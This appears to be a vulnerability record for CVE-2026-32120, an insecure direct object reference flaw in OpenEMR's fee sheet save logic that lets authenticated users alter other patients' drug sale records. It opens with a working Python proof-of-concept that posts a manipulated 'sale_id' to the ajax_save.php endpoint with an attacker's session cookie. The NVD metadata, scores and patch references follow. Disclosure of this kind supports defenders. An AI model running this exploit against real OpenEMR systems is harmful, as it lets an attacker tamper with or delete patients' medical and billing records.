CVE-2026-32120

import requests # Target URL for the vulnerable endpoint url = "https://target.com/openemr/interface/main/finder/modules/fee_sheet/ajax_save.php" # Attacker's session cookie (requires valid authentication) cookies = {'PHPSESSID': 'attacker_session_id'} # Exploit payload: Manipulating 'sale_id' to target arbitrary records # If the attacker knows the sale_id of a victim's drug sale, they can modify it. payload = { 'prod[][sale_id]': '99999', # ID of the victim's record to be modified/deleted 'prod[][drug_id]': '1', 'prod[][fee]': '0', 'prod[][units]': '0' # Setting units to 0 or modifying other fields } response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if the target record was modified or deleted.") else: print("[-] Request failed.")

{"cve": {"id": "CVE-2026-32120", "sourceIdentifier": "[email protected]", "published": "2026-03-25T23:17:09.510", "lastModified": "2026-03-26T18:03:30.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, an Insecure Direct Object Reference (IDOR) vulnerability in the fee sheet product save logic (`library/FeeSheet.class.php`) allows any authenticated user with fee sheet ACL access to delete, modify, or read `drug_sales` records belonging to arbitrary patients by manipulating the hidden `prod[][sale_id]` form field. The `save()` method uses the user-supplied `sale_id` in five SQL queries (SELECT, UPDATE, DELETE) without verifying that the record belongs to the current patient and encounter. Version 8.0.0.3 contains a patch."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto para la gestión de historias clínicas electrónicas y consultas médicas. Antes de la versión 8.0.0.3, una vulnerabilidad de referencia directa a objetos insegura (IDOR) en la lógica de guardado del producto «hoja de tarifas» (`library/FeeSheet.class.php`) permite a cualquier usuario autenticado con acceso ACL a la hoja de tarifas eliminar, modificar o leer registros `drug_sales` pertenecientes a pacientes arbitrarios mediante la manipulación del campo oculto del formulario `prod[][sale_id]`. El método `save()` utiliza el `sale_id` proporcionado por el usuario en cinco consultas SQL (SELECT, UPDATE, DELETE) sin verificar que el registro pertenezca al paciente y a la consulta actuales. La versión 8.0.0.3 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/c5b4dd8caf2af70617cc58d39188621ed90543dc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-pvvj-mv7h-7847", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-pvvj-mv7h-7847", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}